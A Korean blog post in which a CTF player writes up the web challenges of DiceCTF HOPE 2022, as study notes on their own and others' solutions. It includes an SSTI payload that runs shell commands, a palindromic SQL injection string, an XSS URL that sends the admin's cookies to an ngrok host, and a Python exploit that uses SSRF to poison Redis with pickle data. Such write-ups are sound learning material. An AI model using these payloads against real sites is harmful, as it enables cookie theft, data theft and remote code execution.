DiceCTF HOPE 2022

조승현·2022년 8월 1일
0

어려운 ctf는 아니었다. 정말 어려운 문제는 마지막 2문제정도? writeup을 보고 공부하고는 있는데 이해를 할 수 있을지 의문이다. 나머지는 굉장히 쉬웠던것같다. 한 4시간밖에 안풀었는데 7/10을 풀었으니...

secure-page

293 solves / 141 points
solved

true로 변경해주면 solved

reverser

    output = request.form.get('text', '')[::-1]
    return render_template_string(result % output)

코드를 보면 ssti가 가능한것을 알 수 있다. ssti 입력값을 반대로 입력해주어야한다.
config에 flag에 관한정보가 딱히 없다. 아마 rce를 요구하는 듯 하다.
{{lipsum.__globals__.os.popen('ls').read()}} 를 역순으로 입력하면

flag파일을 읽어주면 solve

flag-viewer

217 solves / 156 points
solved

admin으로 submit을 해야 flag를 얻을수 있는데 admin을 입력하고 submit을 할수가 없게 되어있다. 하지만 submit을 console로 넘겨주면 가능하다.

document.getElementsByName('user')[0].value = 'admin'
document.forms[0].submit()

solve

pastebin

139 solves / 187 points
solved

문제 이름과 상관없이 script문이 파라미터 전달에서 터진다. admin bot 쿠키값에 flag가 있으므로 xss로 쿠키값을 전송하도록한다.

point

111 solves / 207 points
solved

what_point=that_point 로 값을 넘겨줘야하는데 "what_point" 라는 값을 전달받으면 필터링된다.
What_point로 넘겨주면 끝

oeps

83 solves / 237 points
solved

sql문이 딱봐도 취약하다. 저기에 sql injection을 해주면 되는데 문제는 palindrome으로 입력해야하는 것이다. 또 sqlite를 사용하므로 이에 맞는 문법을 작성해야한다.

asdf'),('f65f5517e8dcbb645636e959a980cc28',(select/**/flag/**/from/**/flags));-- --;))sgalf/**/morf/**/galf/**/tceles(,'82cc089a959e636546bbcd8e7155f56f'(,)'fdsa

-- 뒤에는 모두 주석 처리되므로 거꾸로 입력되어도 상관없는 값이 됨을 활용한다.

inspect-me

62 solves / 270 points
solved

이 문제를 풀긴했는데 정석으로 푼건지는 모르겠다... 살짝 언인텐으로 푼거같은 느낌이...

개발자도구를 열면 페이지가 계속 리로드되고 console도 쓰지 못하게된다. 그래서 디버거를 사용해서 중단을 해봤더니 실행 스크립트를 찾을수 있었다. 코드내용에 의심스러운 문자열을 발견했다. ubcr{pyvrag_fvqr_pyvpur} 딱봐도 caesar cipher 느낌이 들어서 돌려봤더니 solved

mk

26 solves / 373 points
not solved

res.header('Content-Security-Policy', [
		"default-src 'self'",
		"base-uri 'self'",
		"frame-ancestors 'none'",
		"img-src 'none'",
		"object-src 'none'",
		"script-src 'self' 'unsafe-eval'",
		"script-src-attr 'none'",
		"style-src 'self' 'unsafe-inline'"
	].join(';'));

csp를 살펴보니 script-crc에 unsafe-eval이 허용되어있다. xss를 터트려야할것 같은데 이것저것 해보다가 ctf가 끝났다. 정답은 MathJax에 포함된 js에 eval을 할수있는 기능이 있다. 이걸 활용하면 된다. 시간만 더 있었으면 풀었을 문제다.

https://mk.mc.ax/render?content=<script src="https://mk.mc.ax/MathJax/MathJax.js"\>document.location='http://02f6-41-225-148-43.ngrok.io/ok.php?c='+document.cookie;</script>

your-space

7 solves / 469 points
not solved

import pickle
import requests
import secrets

base = "http://127.0.0.1:8000"
base = 'https://web-your-space-a735d6e0460cc29c.mc.ax'

session = requests.Session()
session.post(base+"/register", data={"username": "meow", "password": "meow"})
session.post(base+"/login", data={"username": "meow", "password": "meow"})
session.post(base+"/create", data={"name": "meow"})
session.get(base+"/space/1/sub")

# 1
pkl = r'"!V\n."' # empty string
webhook = "dict://redis:6379/SET:flask_cache_app.routes.space.num_subscriptions_memver:" + pkl
print(webhook, len(webhook))
session.post(base+"/profile", data={"webhook": webhook}).text
session.post(base+"/space/1/post", data={"content": secrets.token_hex(8)})
session.get(base+"/space/1") # trigger ssrf

# 2
pkl2 = r'"!capp\nflag\n."' # from app import flag
webhook = "dict://redis:6379/SET:flask_cache_xk28vUr8TTGcOgNT:" + pkl2
print(webhook, len(webhook))
session.post(base+"/profile", data={"webhook": webhook}).text
session.post(base+"/space/1/post", data={"content": secrets.token_hex(8)})
session.get(base+"/space/1").text # trigger ssrf

print(session.get(base+"/space/1").text) # get flag

it uses flask_caching to cache space visit count, and the cache is based on redis, which store pickle data inside
and if you can control pickle, yup, you basically can execute any python code
but how?
there is a ssrf vuln which allows you to use gopher:// or dict:// protocol, which allows you to communicate with redis (there are a lot of articles about this afaik
but there is a limitation for the webhook url length: 96 chars.
there are two redis keys we can control
1. flask_cache_app.routes.space.num_subscriptions_memver, contains the <IDENTIFIER> value
2. flask_cache_<hash><IDENTIFIER>, we can know the hash through reading flask_caching source code or just run the instance yourself and check it out
the first is pretty long but const , we can only assign about 1x chars to it, and the second is shorter but can not know the <IDENTIFIER> part at first
so we just need to
1. assign flask_cache_app.routes.space.num_subscriptions_memver as your own IDENTIFIER (in my exploit is just an empty string)
2. assign flask_cache_<hash><THE_IDENTIFIER_YOU_JUST_SET> to a pickle which does from app import flag to read the flag, it'll show on the count field

writeup을 보고도 이해가 안가서 작성자한테 질문까지 했지만 뭔가 완벽한 이해는 하지 못했다.
webhook에서 redis 명령어를 실행시킬수 있다는것 + flask_caching와 pickle deserialization간의 처리 취약점을 활용하는데 계속 왜라는 질문을 던졌을때 답을 못찾는부분이 많았다. 일단 알아만두기로 했다.

payment-pal

3 solves / 491 points
not solved

마지막 문제다. 역시나 풀지 못했다. writeup을 보고도 모르는 부분이 너무 많아서 하나씩하나씩 공부하면서 이해했다...

$시나리오
1. /graphql post request로 bot이 내 계정으로 로그인하도록한다. (단 isAdmin=true가 된 상태)
2. 내 계정 contact에 저장된 xss발생 history back으로 admin id를 구해냄
3. admin bot에게서 xss 발생시켜서
4. 암호 취약점을 이용해 admin pw 구해냄
5. admin계정으로 로그인하여 송금

$취약점
1. prototype-pollution이 가능
어디서 발생시켜야하나? - 이상하게 bot이 로그인후 로그아웃을함
fetch를 prototype-pollution해서 __proto__[isAdmin]=True로 만든다? - Request.cache=force-cache?
2. contact에 xss 가능
문제는 admin database가 frozen -> admin이 내 계정으로 로그인 되어야한다 (isAdmin=True로 만들어서 내 계정 contact에 xss를 터트리는 csrf)
3. crypto 취약점

https://brycec.me/posts/dicectf_at_hope_2022_writeups
아... 이해를 못하겠다.

답답해 미칠거같지만 이런 어려운 문제를 계속 파보는게 정말 좋은것같다. 내가 모르는 영역이 드러나는 느낌이라...

profile
Inha University / CTF Web Player / Team Riot of Noob

0개의 댓글